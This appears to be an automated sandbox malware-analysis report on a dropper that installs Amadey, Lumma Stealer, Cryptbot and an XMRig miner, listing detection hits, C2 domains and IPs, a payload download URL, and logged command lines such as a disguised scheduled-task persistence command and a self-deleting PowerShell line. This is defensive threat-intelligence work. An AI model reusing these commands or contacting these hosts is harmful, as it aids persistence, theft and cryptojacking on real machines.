31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
Click to see the 23 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 6852, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 5064, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe, ParentProcessId: 6316, ParentProcessName: d7691cd336.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 1484, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 6852, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 5976, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe, ParentProcessId: 6316, ParentProcessName: d7691cd336.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 1484, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:42.965417+0100	2028371	3	Unknown Traffic	192.168.2.6	49880	104.21.64.80	443	TCP
2024-12-18T11:47:45.055165+0100	2028371	3	Unknown Traffic	192.168.2.6	49886	104.21.64.80	443	TCP
2024-12-18T11:48:02.940606+0100	2028371	3	Unknown Traffic	192.168.2.6	49930	172.67.209.202	443	TCP
2024-12-18T11:48:06.653481+0100	2028371	3	Unknown Traffic	192.168.2.6	49941	172.67.209.202	443	TCP
2024-12-18T11:48:11.062331+0100	2028371	3	Unknown Traffic	192.168.2.6	49955	172.67.209.202	443	TCP
2024-12-18T11:48:15.445209+0100	2028371	3	Unknown Traffic	192.168.2.6	49967	172.67.209.202	443	TCP
2024-12-18T11:48:19.322382+0100	2028371	3	Unknown Traffic	192.168.2.6	49978	172.67.209.202	443	TCP
2024-12-18T11:48:23.127805+0100	2028371	3	Unknown Traffic	192.168.2.6	49990	172.67.209.202	443	TCP
2024-12-18T11:48:26.984380+0100	2028371	3	Unknown Traffic	192.168.2.6	50000	172.67.209.202	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:44.030488+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49880	104.21.64.80	443	TCP
2024-12-18T11:48:05.383827+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49930	172.67.209.202	443	TCP
2024-12-18T11:48:08.807533+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49941	172.67.209.202	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:44.030488+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49880	104.21.64.80	443	TCP
2024-12-18T11:48:05.383827+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49930	172.67.209.202	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:48:08.807533+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49941	172.67.209.202	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:42.965417+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49880	104.21.64.80	443	TCP
2024-12-18T11:47:45.055165+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.6	49886	104.21.64.80	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:25.561620+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49833	185.215.113.43	80	TCP
2024-12-18T11:47:34.121562+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49855	185.215.113.43	80	TCP
2024-12-18T11:47:41.298783+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49873	185.215.113.43	80	TCP
2024-12-18T11:47:53.569167+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49906	185.215.113.43	80	TCP
2024-12-18T11:48:01.745121+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49925	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:48:26.874139+0100	2054350	1	A Network Trojan was detected	192.168.2.6	49999	185.185.71.170	80	TCP
2024-12-18T11:48:29.202502+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50010	185.185.71.170	80	TCP
2024-12-18T11:48:38.006384+0100	2054350	1	A Network Trojan was detected	192.168.2.6	50031	185.185.71.170	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:41.406695+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	62446	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:41.096117+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	64882	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:48:27.391090+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50000	172.67.209.202	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:06.998233+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49789	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:23.585529+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49796	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T11:47:13.770477+0100	2803305	3	Unknown Traffic	192.168.2.6	49806	31.41.244.11	80	TCP
2024-12-18T11:47:27.141306+0100	2803305	3	Unknown Traffic	192.168.2.6	49837	31.41.244.11	80	TCP
2024-12-18T11:47:35.564160+0100	2803305	3	Unknown Traffic	192.168.2.6	49859	31.41.244.11	80	TCP
2024-12-18T11:47:42.741192+0100	2803305	3	Unknown Traffic	192.168.2.6	49878	31.41.244.11	80	TCP
2024-12-18T11:47:55.009611+0100	2803305	3	Unknown Traffic	192.168.2.6	49910	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: random.exe_Y.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php6879001	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php.usere	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php7H	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php879001	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpcal	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpLocal	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpHH	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0l	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/dodo/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpTemp	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802

Found malware configuration

Source: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000002D.00000002.3098588144.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["rapeflowwj.lat", "pancakedipyps.click", "grannyejh.lat", "sustainskelet.lat", "crosshuaht.lat", "necklacebudi.lat", "discokeyus.lat", "aspecteirs.lat", "energyaffai.lat"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: random.exe_Y.exe	Virustotal: Detection: 54%			Perma Link
Source: random.exe_Y.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: random.exe_Y.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 32.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 50.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.3.Intel_PTT_EK_Recertification.exe.1ae2b720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.Intel_PTT_EK_Recertification.exe.261b8c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.2790543601.0000000000782000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2791427646.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.3209991687.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2791286176.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.3123702464.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2790543601.0000000000778000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.3123702464.0000000000D87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.3209877428.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2790543601.0000000000737000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2548, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: random.exe_Y.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.6:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.6:50000 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: d7691cd336.exe, 00000024.00000003.2816311933.0000000005010000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2816191729.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821430291.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821309340.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: d7691cd336.exe, 00000024.00000003.2816649342.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2816838324.0000000005110000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2822637005.0000000005300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821727826.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: d7691cd336.exe, 00000024.00000003.2814530012.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2814843608.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2819961783.00000000052D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2819182827.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: d7691cd336.exe, 00000024.00000003.2815576997.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2815815140.0000000005090000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2820660089.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: d7691cd336.exe, 00000024.00000003.2814530012.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2814843608.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2819961783.00000000052D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2819182827.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: d7691cd336.exe, 00000024.00000003.2815576997.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2815815140.0000000005090000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2820660089.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: d7691cd336.exe, 00000024.00000003.2816649342.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2816838324.0000000005110000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2822637005.0000000005300000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821727826.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: d7691cd336.exe, 00000024.00000003.2816311933.0000000005010000.00000004.00000001.00020000.00000000.sdmp, d7691cd336.exe, 00000024.00000003.2816191729.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821430291.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000003.2821309340.00000000050E0000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	8_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Code function: 8_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	8_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 12_2_00797978 FindFirstFileW,FindFirstFileW,free,	12_2_00797978

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 12_2_0079881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

12_2_0079881C

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49789 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49796
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49833 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:64882 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49873 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:62446 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49880 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49855 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.6:49886 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49906 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49925 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:49999 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50010 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.6:50031 -> 185.185.71.170:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49880 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49880 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49930 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49930 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49941 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49941 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50000 -> 172.67.209.202:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 10:47:13 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 